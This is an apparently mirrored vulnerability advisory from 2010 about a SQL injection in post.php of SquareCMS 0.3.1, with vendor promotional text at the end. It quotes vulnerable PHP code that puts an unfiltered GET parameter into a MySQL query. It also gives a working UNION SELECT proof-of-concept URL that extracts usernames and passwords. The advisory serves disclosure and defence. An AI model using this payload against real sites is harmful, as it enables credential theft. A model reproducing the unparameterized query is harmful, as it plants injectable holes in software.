Lucene search
K

SquareCMS 0.3.1 SQL Injection

🗓️ 24 Dec 2010 00:00:00Reported by cOndemnedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

SquareCMS 0.3.1 SQL Injection vulnerability in post.ph

Code
`SquareCMS 0.3.1 (post.php) Remote SQL Injection Vulnerability  
found by cOndemned  
vendor: http://spoolio.co.cc/  
download: http://webscripts.softpedia.com/script/Content-Management/Square-CMS-66303.html  
prior versions may also be affected  
  
source of post.php lines 15 - 31:  
  
$token = $_GET['id']; // [1]  
  
if (isset($token))  
{  
if ($result = mysql_query("SELECT * FROM $posts WHERE id=$token LIMIT 1")) // [2]  
{  
if ($row = mysql_fetch_array($result, MYSQL_ASSOC))  
{  
header("Location: ".get_friendly_url($row['url'])); // [3]  
exit();  
}  
}  
}  
  
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); // Return a 404 // [4]  
header("Content-Type: text/plain");  
print("404 Not Found\n");  
  
  
description:  
  
User input from variable token [1] is being used in the MySQL query [2] without any  
filtration, so that there is possibility to run arbitarary sql commands. If query is  
correct (returns proper result) user will be redirected to an url containing response  
[3]. In other case cms will force throwing 404 server response [4] ....  
  
proof of concept:  
  
http://target/post.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9+from+square_settings--  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation